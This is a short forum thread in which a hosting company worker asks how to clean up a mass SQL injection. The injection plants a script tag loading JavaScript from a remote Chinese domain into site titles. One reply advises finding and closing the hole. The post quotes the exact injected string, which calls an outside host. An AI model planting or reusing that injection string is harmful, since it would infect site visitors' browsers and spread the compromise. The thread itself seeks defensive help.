I work for a hosting company and a lot of our sites are getting injected with a line that reads "></title><script src="http://1.verynx.cn/w.js"></script><!-- "
With reading through google, I know this is a popular bug. How it works is it injects the SQL with that line, causing the browser to download that js file, and using the computer that downloaded it as a host so it can run and inject more websites, basically as a bot. Does anyone know any scripts we can run to get rid of this? Or an easier way than restoring the SQL database?

Any ideas anybody?

Find the "hole" they are using and close it.